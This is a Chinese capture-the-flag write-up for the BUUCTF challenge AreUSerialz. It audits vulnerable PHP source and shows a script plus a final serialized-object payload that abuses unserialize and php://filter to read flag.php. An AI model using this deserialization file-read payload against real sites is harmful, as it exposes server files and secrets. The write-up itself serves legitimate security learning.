当前位置: 首页 > news >正文

2025.2.5——五、[网鼎杯 2020 青龙组]AreUSerialz

题目来源:BUUCTF  [网鼎杯 2020 青龙组]AreUSerialz

一、打开靶机,整理信息

        直接得到一串php代码,根据题目可以看到还有序列化

二、解题思路

step 1:代码审计

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {  //创建FileHandler类//定义了三个受保护的属性protected $op;protected $filename;protected $content;//构造函数,对三个受保护的属性进行初始化,然后调用process()方法function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}//定义公共的成员方法,并根据$this->op的值来执行不同的操作public function process() {if($this->op == "1") {$this->write();  //值为1,则调用write方法进行文件写入操作} else if($this->op == "2") {$res = $this->read();  //值为2,则调用read方法读取文件内容,并将结果传递给output方法输出$this->output($res);} else {$this->output("Bad Hacker!");}}//定义公共的成员方法private function write() {if(isset($this->filename) && isset($this->content)) {  //检查二者是否都已设置if(strlen((string)$this->content) > 100) {  //经检查$thie->content的长度$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);  //使用file_put_contents函数将$this->content写入$this->filename文件中,根据写入结果输出相应的信息if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {  //检查$this->filename是否已设置,如果设置则使用file_get_contents()函数读取该文件的内容并返回$res = file_get_contents($this->filename);}return $res;}//输出[Result]: <br>作为前缀,然后输出传入的字符串$sprivate function output($s) {echo "[Result]: <br>";echo $s;}//析构函数,如果$this->op严格等于"2",则将其设置为"1",清空$this->content,然后调用process()方法。function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}//检查传入的字符串$s中的每个字符的ASCII码是否在32到125之间,如果有不在该范围内的字符则返回false,否则返回true
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}//处理GET请求
if(isset($_GET{'str'})) {  //检查GET请求是否包含str参数,如果包含,将其转换为字符串并调用is_valid()函数进行验证$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);  //验证通过则对该字符串进行反序列化操作}}

代码总结:几个重要的点①满足op=1,则进行write写入操作,op=2,就会执行read方法和output方法;②满足content<100,则将$this->content写入$this->filename文件中;③利用ord函数,检查$s的字符串的ASCII值是否在32-125之间(包含了空格、符号、数字、大小写字母),这里用%00转换为\00即可绕过;④GET方式传参,参数是str,传入的值为字符串类型,然后要进行反序列化操作

step 2:开始解题

        要想得到flag,需要绕过process方法,防止op=1,所以令op=2,直接进入read函数,然后传入filename,并使用file_get_contents函数读取文件,可以借助php://filter伪协议读取文件,获取文件后使用output函数输出

        一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

摘自[网鼎杯 2020 青龙组]AreUSerialz - 春告鳥 - 博客园

突破protected访问修饰符限制

        大佬的脚本如下([网鼎杯 2020 青龙组]AreUSerialz - 春告鳥 - 博客园)

<?phpclass FileHandler {protected $op=2;protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";// $this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";// $this->process();}}
$A=new FileHandler();
$B=serialize($A);
echo $B;

        运行得到的结果有三个地方字符显示不正确的地方就是%00字符,这里可以利用本地序列化的时候将属性改为public进行绕过(php7.1+版本对属性类型不敏感),即

public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

得到正常结果

        构造payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64编码过的信息,进行base64解码,得到flag

三、小结

1.和反序列化有关的题目还是得写脚本

2.新知识:突破protected访问修饰符限制

相关文章:

2025.2.5——五、[网鼎杯 2020 青龙组]AreUSerialz

题目来源&#xff1a;BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 一、打开靶机&#xff0c;整理信息 直接得到一串php代码&#xff0c;根据题目可以看到还有序列化 二、解题思路 step 1&#xff1a;代码审计 <?phpinclude("flag.php");highlight_file(__FILE__…...

Oracle Life DBA的一天

/***************************************************************************************************************** Navicat Premium Data Transfer Source File : Oracle Life DBA的一天.sql Source Server Type : Oracle Source Server Version : 190…...

手写MVVM框架-实现简单v-bind

v-bind 有两种情况&#xff1a; 1.绑定的是一个简单的属性 <div :class"customClass">简单v-bind</div> 2.绑定的元素上面有表达式 <div :class"{customClass: a 1 > 2}">简单v-bind</div> 这一章我们先说第一种情况&…...

【力扣】240.搜索二维矩阵 II

题目 我的代码 class Solution { public:bool searchMatrix(vector<vector<int>>& matrix, int target) {for(int i0;i<matrix.size();i){for(int j0;j<matrix[0].size();j){if(targetmatrix[i][j]){return true;}else if(target<matrix[i][j]){brea…...

PlanLLM: 首个支持开放词汇与封闭集任务的跨模态视频程序规划框架

2025年1月7号&#xff0c;由杨德杰、赵子敬、刘洋联合提出PlanLLM&#xff0c;一种基于可微调大型语言模型&#xff08;LLM&#xff09;的跨模态联合学习框架&#xff0c;用于解决视频程序规划任务。通过引入LLM增强规划模块和互信息最大化模块&#xff0c;PlanLLM突破了现有方…...

使用服务器部署DeepSeek-R1模型【详细版】

文章目录 引言deepseek-r1IDE或者终端工具算力平台体验deepseek-r1模型总结 引言 在现代的机器学习和深度学习应用中&#xff0c;模型部署和服务化是每个开发者面临的重要任务。无论是用于智能推荐、自然语言处理还是图像识别&#xff0c;如何高效、稳定地将深度学习模型部署到…...

TCP三次握手、四次挥手过程及原理

TCP 协议简述 TCP 提供面向有连接的通信传输&#xff0c;面向有连接是指在传送数据之前必须先建立连接&#xff0c;数据传送完成后要释放连接。 无论哪一方向另一方发送数据之前&#xff0c;都必须先在双方之间建立一条连接。在TCP/IP协议中&#xff0c;TCP协议提供可靠的连接…...

AWS App2Container

AWS App2Container 是一个由 Amazon Web Services (AWS) 提供的工具&#xff0c;它帮助用户将现有的传统应用程序&#xff08;特别是运行在虚拟机或物理服务器上的应用&#xff09;转化为容器化的应用&#xff0c;从而可以在 AWS 上更方便地部署、管理和扩展。具体来说&#xf…...

《一》深入了解软件测试工具 JMeter-自我介绍

深入了解软件测试工具 JMeter 在当今的数字化时代&#xff0c;软件已经渗透到我们生活的方方面面&#xff0c;从日常使用的手机应用到复杂的企业级系统&#xff0c;软件的质量和性能直接影响着用户体验和业务的成功。而软件测试作为保障软件质量的关键环节&#xff0c;其中的性…...

(算法竞赛)图论+DFS深搜——图的dfs遍历1

题目描述 给定一个无向图&#xff0c;包含 n 个顶点&#xff08;编号为 1 到 n&#xff09;和 e 条边。要求从顶点 1 开始进行深度优先搜索&#xff08;DFS&#xff09;&#xff0c;并按照访问顺序输出遍历结果。注意&#xff1a;当存在多个邻接点时&#xff0c;优先访问编号较…...

二级C语言题解:十进制转其他进制、非素数求和、重复数统计

目录 一、程序填空&#x1f4dd; --- 十进制转其他进制 题目&#x1f4c3; 分析&#x1f9d0; 二、程序修改&#x1f6e0;️ --- 非素数求和 题目&#x1f4c3; 分析&#x1f9d0; 三、程序设计&#x1f4bb; --- 重复数统计 题目&#x1f4c3; 分析&#x1f9d0; 前言…...

快速搭建GPU环境 | docker、k8s中使用gpu

目录 一、裸机部署安装 GPU Driver安装 CUDA Toolkit测试 二、Docker 环境安装 nvidia-container-toolkit配置使用该 runtime 三、 k8s 环境安装 device-plugin安装 GPU 监控 一、裸机部署 裸机中要使用上 GPU 需要安装以下组件&#xff1a; GPU DriverCUDA Toolkit 二者的关…...

基于docker搭建Kafka集群,使用KRaft方式搭建,摒弃Zookeeper

KAFKA基于docker使用KRaft进行集群搭建 环境&#xff1a;已成功搭建kafka服务 可点击链接跳转至安装kafka-3.8.0版本 并启用SASL认证 教程 使用基于Zookeeper方式搭建集群教程 kafka-3.8.0版本 并启用SASL认证 教程 搭建kafka-ui可视化工具 192.168.2.91 192.168.2.92 192…...

分库分表详解

分库分表确实有垂直切分和水平切分两种&#xff0c;针对给出的描述&#xff0c;以下是对这两种切分方式的详细分析和验证&#xff1a; 垂直切分 描述&#xff1a;将表按照功能模块、关系密切程度划分出来&#xff0c;部署到不同的库上。 分析&#xff1a;垂直切分主要是根据…...

【重生之学习C语言----水仙花篇】

目录 ​编辑 ----------------------------------------begin-------------------------------------- 一、什么是水仙花数&#xff1f; 二、问题分析 确定数字的位数&#xff1a;计算输入数字的位数 n。 分离每一位数字&#xff1a;例如将 153 分离为 1、5、3。 计算各…...

云端IDE如何重定义开发体验

豆包 MarsCode 是一个集成了AI功能的编程助手和云端IDE&#xff0c;旨在提高开发效率和质量。它支持多种编程语言和IDE&#xff0c;提供智能代码补全、代码解释、单元测试生成和问题修复等功能&#xff0c;同时具备AI对话视图和开发工具。 豆包 MarsCode 豆包 MarsCode 编程助…...

模拟实现string类

目录 一.构造与析构函数 二.基础小功能的实现 1.clear 2.c_str 3外部对私有的查看 三.实现string的迭代器 四.string的增删查改 1.push_back尾插 1.1reserve扩容 1.2尾插 3.运算符重载 4.insert在任意位置插入 5.erase删除 5.1npos的处理 5.2函数的实现 6.find查…...

使用一个大语言模型对另一个大语言模型进行“调教”

使用一个大语言模型对另一个大语言模型进行“调教”&#xff08;通常称为微调或适配&#xff09;&#xff0c;是一种常见的技术手段&#xff0c;用于让目标模型更好地适应特定的任务、领域或风格。以下是基于搜索结果整理的详细步骤和方法&#xff1a; 1.准备工作 安装必要的…...

十二、Docker Compose 部署 SpringCloudAlibaba 微服务

一、部署基础服务 0、项目部署结构 项目目录结构如下: /home/zhzl_hebei/ ├── docker-compose.yml └── geochance-auth/└── Dockerfile└── geochance-auth.jar └── geochance-system/└── Dockerfile└── geochance-system.jar └── geochance-gateway/…...

深入浅出:旋转变位编码(RoPE)在现代大语言模型中的应用

在现代大语言模型&#xff08;LLMs&#xff09;中&#xff0c;位置编码是一个至关重要的组件。无论是 Meta 的 LLaMA 还是 Google 的 PaLM&#xff0c;这些模型都依赖于位置编码来捕捉序列中元素的顺序信息。而旋转变位编码&#xff08;RoPE&#xff09; 作为一种创新的位置编码…...

C# 使用ADO.NET访问数据全解析

.NET学习资料 .NET学习资料 .NET学习资料 在 C# 的应用开发中&#xff0c;数据访问是极为关键的部分。ADO.NET作为.NET 框架下用于数据访问的核心技术&#xff0c;能够帮助开发者便捷地与各类数据源进行交互。本文将深入剖析ADO.NET&#xff0c;带你掌握使用 C# 通过ADO.NET访…...

趣解单词,实现快速记忆

英文单词 love&#xff0c;是“爱”的意思&#xff1a; love v./n.爱&#xff1b;喜欢&#xff1b;热爱&#xff1b;爱情&#xff1b;心爱的人 那什么是爱呢&#xff1f;love&#xff0c;首字母为l&#xff0c;是一根绳子&#xff0c;ve-通f&#xff0c;love通life&#xff0…...

TEMU电池法规:CE-battery法规指令主要检测以下这三样,汞、镉、铅

TEMU电池法规&#xff1a;CE-battery法规的指令主要检测以下这三样&#xff0c;汞、镉、铅有害物质&#xff1a; CE-Battery认证是依据欧盟新电池法规EU 2023/1542指令进行的电池安全检测报告。该认证针对所有类别的电池&#xff0c;包括内置或添加到产品中的电池&#xff0c;…...

vscode 如何通过Continue引入AI 助手deepseek

第一步&#xff1a; 在deepseek 官网上注册账号&#xff0c;得到APIKeys(deepseek官网地址) 创建属于自己的APIKey,然后复制这个key,(注意保存自己的key)! 第二步&#xff1a; 打开vscode,在插件市场安装Continue插件, 点击设置&#xff0c;添加deepseek模型&#xff0c;默认…...

【大数据技术】搭建完全分布式高可用大数据集群(Scala+Spark)

搭建完全分布式高可用大数据集群(Scala+Spark) scala-2.13.16.tgzspark-3.5.4-bin-without-hadoop.tgz注:请在阅读本篇文章前,将以上资源下载下来。 写在前面 本文主要介绍搭建完全分布式高可用集群Spark的详细步骤。 注意: 统一约定将软件安装包存放于虚拟机的/softwa…...

【翻译+论文阅读】DeepSeek-R1评测:粉碎GPT-4和Claude 3.5的开源AI革命

目录 一、DeepSeek-R1 势不可挡二、DeepSeek-R1 卓越之处三、DeepSeek-R1 创新设计四、DeepSeek-R1 进化之路1. 强化学习RL代替监督微调学习SFL2. Aha Moment “啊哈”时刻3. 蒸馏版本仅采用SFT4. 未来研究计划 部分内容有拓展&#xff0c;部分内容有删除&#xff0c;与原文会有…...

前缀和练习——洛谷P8218:求区间和

题目: 这道题很简单&#xff0c;直接根据题目无脑套公式 代码&#xff1a; #include<bits/stdc.h> using namespace std; const int N 1e5 9; using ll long long; ll a[N], perfix[N]; int main() {ios::sync_with_stdio(0), cin.tie(0), cout.tie(0);//取消同步输…...

uv 安装包

是的&#xff0c;你可以使用 uv 来安装 Python 包。uv 是一个高性能的 Python 包安装器和解析器&#xff0c;由 astral.sh 团队开发&#xff0c;旨在替代 pip 和 pip-tools&#xff0c;提供更快的包安装体验。 ### 如何使用 uv 安装包 1. **安装 uv**&#xff1a; 如果你还…...

【机器学习】训练(Training)、验证(Validation)和测试(Testing)

机器学习中训练(Training)、验证(Validation)和测试(Testing)这三个阶段的作用和关系。 1. 训练阶段 (Training) - 使用训练集数据来训练模型 - 模型通过学习训练数据的特征和模式来调整其内部参数 - 这个阶段模型会不断优化以减少预测误差 - 通常使用最大的数据集比例&…...

3. k8s二进制集群之负载均衡器高可用部署

Haproxy 和 Keepalived安装Haproxy配置文件准备Keepalived配置及健康检查启动Haproxy & Keepalived服务继续上一篇文章《K8S集群架构及主机准备》,下面介绍负载均衡器搭建过程 Haproxy 和 Keepalived安装 在负载均衡器两个主机上安装即可 apt install haproxy keepalived…...

C++游戏开发实战:从引擎架构到物理碰撞

&#x1f4dd;个人主页&#x1f339;&#xff1a;一ge科研小菜鸡-CSDN博客 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; 1. 引言 C 是游戏开发中最受欢迎的编程语言之一&#xff0c;因其高性能、低延迟和强大的底层控制能力&#xff0c;被广泛用于游戏…...

MSPFN 代码复现

1、环境配置 conda create -n MSPFN python3.9 conda activate MSPFN pip install opencv-python pip install tensorflow pip install tqdm pip install matplotlib2、train 2.1 创建数据集 2.1.1 数据集格式 |--rainysamples |--file1&#xff1a; |--file2:|--fi…...

[c语言日寄]浮点数在内存中的储存

【作者主页】siy2333 【专栏介绍】⌈c语言日寄⌋&#xff1a;这是一个专注于C语言刷题的专栏&#xff0c;精选题目&#xff0c;搭配详细题解、拓展算法。从基础语法到复杂算法&#xff0c;题目涉及的知识点全面覆盖&#xff0c;助力你系统提升。无论你是初学者&#xff0c;还是…...

PySpark学习笔记5-SparkSQL

sparkSql的数据抽象有两种。 一类是data set适用于java和Scala 一类是data frame适用于java&#xff0c;Scala&#xff0c;python 将r d d转换为data frame #方式一 df spark.createDataFrame(rdd,schema[name,age]) #方式二 schema Structtype(). add(id,integertype(),nu…...

支持 APQP (先期产品质量策划) 的软件系统-汽车电子行业专用研发管理信息化平台

支持 APQP (先期产品质量策划) 的软件系统 在制造业竞争白热化的当下&#xff0c;产品质量已然成为企业立足市场的核心竞争力。APQP&#xff08;先期产品质量策划&#xff09;作为保障产品质量的关键流程&#xff0c;贯穿于产品从概念萌生到最终交付的整个生命周期&#xff0c…...

配置@别名路径,把@/ 解析为 src/

路径解析配置 webpack 安装 craco npm i -D craco/craco 项目根目录下创建文件 craco.config.js &#xff0c;内容如下 const path require(path) module.exports {webpack: {// 配置别名alias: {// 约定&#xff1a; 使用 表示src文件所在路径: path.resolve(__dirname,src)…...

以为是响应式对象丢失导致数据没有回显

背景&#xff1a;之前ruoyi生成的vue2代码&#xff0c; <el-form ref“form”&#xff0c;后面我改成vue3的写法&#xff0c;没有实例化form&#xff0c; 在vue3中是需要定义const form ref(); 导致点击了修改后&#xff0c;页面弹框显示出来&#xff0c;数据没有回显。 一直…...

【汇编语言】直接定址表(二)—— 「代码‘导航员’:直接定址表的功能与应用」

文章目录 前言1. 直接定址表1.1 问题引入&#xff08;一&#xff09;—— 为算法清晰而查表1.2 分析与解决问题1.2.1 两个十六进制表示一个字节1.2.2 得到数值对应的数码字符1.2.2.1 最粗暴的方法——比较1.2.2.2 使用映射关系来解决1.2.2.3 存在的问题及解决 1.3 得到子程序1.…...

05vue3实战-----配置项目代码规范

05vue3实战-----配置项目代码规范 1.集成editorconfig配置2.使用prettier工具2.1安装prettier2.2配置.prettierrc文件&#xff1a;2.3创建.prettierignore忽略文件2.4VSCode需要安装prettier的插件2.5VSCod中的配置2.6测试prettier是否生效 3.使用ESLint检测3.1VSCode需要安装E…...

不含101的数

不含101的数 真题目录: 点击去查看 E 卷 200分题型 题目描述 小明在学习二进制时&#xff0c;发现了一类不含101的数&#xff1a; 将数字用二进制表示&#xff0c;不能出现 101 。 现在给定一个整数区间 [l,r] &#xff0c;请问这个区间包含了多少个不含 101 的数&#xff…...

Linux/C高级(精讲)----shell结构语句、shell数组

shell脚本 功能性语句 test 可测试对象三种&#xff1a;字符串 整数 文件属性 每种测试对象都有若干测试操作符 1&#xff09;字符串的测试&#xff1a; s1 s2 测试两个字符串的内容是否完全一样 s1 ! s2 测试两个字符串的内容是否有差异 -z s1 测试s1 字符串的长度是…...

基于微信小程序的消防隐患在线举报系统设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…...

java基础2(黑马)

一、变量里的数据在计算机中的存储原理 1.二进制 .二进制&#xff1a;只有0、1&#xff0c; 按照逢二进一的方式表示数据。 十进制数字11转换为&#xff1a;1011 方法&#xff1a;除二取余法 计算机中表示数据的最小单元&#xff0c;一个字节&#xff08;Byte&#xff0c;简…...

计算机中数值表示:原码、反码、补码与移码

1 前言 计算机科学中&#xff0c;数字的表示方式至关重要&#xff0c;因为计算机内部只能识别处理二进制数据。为了在计算机中实现对整数的表示&#xff0c;提出了多种数值编码方式&#xff0c;其中最常用的是原码、反码、补码和移码。 2 原码 2.1 原码的定义 原码(Signed …...

1.8 组合模式(Composite Pattern)

定义 组合模式&#xff08;Composite Pattern&#xff09; 是一种结构型设计模式&#xff0c;它将对象组合成树形结构以表示“部分-整体”的层次结构。组合模式让客户端可以以相同的方式对待单个对象和对象集合。组合模式使得客户可以统一处理树形结构中的单个对象和对象的集合…...

QFileDialog::getOpenFileName(this,“文件对话框“,“.“,“c++ files(*.cpp);;“); 文件对话框显示乱码

在使用 QFileDialog::getOpenFileName 时&#xff0c;如果文件对话框显示乱码&#xff0c;通常是因为编码问题。Qt 默认使用 UTF-8 编码&#xff0c;但如果你的系统或源代码文件的编码不一致&#xff0c;可能会导致乱码。 以下是几种可能的解决方法&#xff1a; 1. 确保源代码…...

【C语言系列】深入理解指针(5)

深入理解指针&#xff08;5&#xff09; 一、sizeof和strlen的对比1.1sizeof1.2strlen1.3sizeof和strlen的对比 二、数组和指针笔试题解析2.1 一维数组2.2 字符数组2.2.1代码1&#xff1a;2.2.2代码2&#xff1a;2.2.3代码3&#xff1a;2.2.4代码4&#xff1a;2.2.5代码5&#…...

为什么使用nohup 和 启动的python脚本,日志没有在nohup.out中

当你使用 nohup 和 & 启动 Python 脚本时&#xff0c;输出通常会被重定向到 nohup.out 文件&#xff0c;但是有几个原因可能导致日志没有出现在这个文件中&#xff1a; Python 程序的输出被重定向了&#xff1a; 如果你的 Python 脚本中使用了 sys.stdout 或 sys.stderr 进…...

MySQL的存储引擎对比(InnoDB和MyISAM)

InnoDB 特点&#xff1a; 事务支持&#xff1a;InnoDB 是 MySQL 默认的事务型存储引擎&#xff0c;支持 ACID&#xff08;原子性、一致性、隔离性、持久性&#xff09;事务。行级锁定&#xff1a;支持行级锁&#xff0c;能够并发执行查询和更新操作&#xff0c;提升多用户环境…...

uniapp访问django目录中的图片和视频,2025[最新]中间件访问方式

新建中间件, middleware.py 匹配,以/cover_image/ 开头的图片 匹配以/episode_video/ 开头的视频 imageSrc: http://192.168.110.148:8000/cover_image/12345/1738760890657_mmexport1738154397386.jpg, videoSrc: http://192.168.110.148:8000/episode_video/12345/compres…...